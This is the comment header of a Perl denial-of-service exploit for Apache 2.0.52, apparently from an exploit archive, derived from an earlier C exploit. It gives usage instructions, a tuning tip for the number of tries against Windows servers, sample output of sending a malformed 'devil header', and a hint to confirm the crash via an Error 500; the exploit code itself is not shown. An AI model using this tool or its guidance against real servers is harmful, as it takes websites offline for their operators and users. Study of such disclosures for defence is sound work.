Apache 2.0.52 - GET Denial of Service

#!/usr/bin/perl

# Based on -> 
#             apache-squ1rt.c exploit.

# Added ->
#             Added future with we can exploit Apache web servers on windows system. For it you should experiment
#             with [trys] parameter of this code.
#             
#             By default parameter trys = 8000, for DoS Apache web servers on windows system try to 
#             increase this parameter.
#
#             For example. In my system I have 256Mb of RAM. For DoS Apache web severs I run this exploit like this
#
#             C:\perl ap2.0.52_dos.pl 127.0.0.1 30000
#
#              <+> Prepare to start connect.
#              <+> Connected to 127.0.0.1
#              <+> Send of first part of devil header.
#              <+> Prepare to DoS with 10000 trys.
#              <+> Start DoS second part of devil header.
#              <SOD> |====================> <EOD>
#              <+> Ok now target web server maybe DoSeD.
#
#
# Note ->    
#           
#             If progresbar not response server mybe already DoSeD. Try to open web page hosted on this web servers.
#             And if you see "Eror 500" you are lucky man :)
#
# Warnings -> 
#             This is POC code you can use only on you own servers. Writer don't response if you damadge you servers or
#             use it for attack, or others things.  
#
# Shit -> 
#             My English now is bulls shit :( I try study it :)
#            

# Tested under Window 2000 SP4 with Apache 2.0.49 (Win)
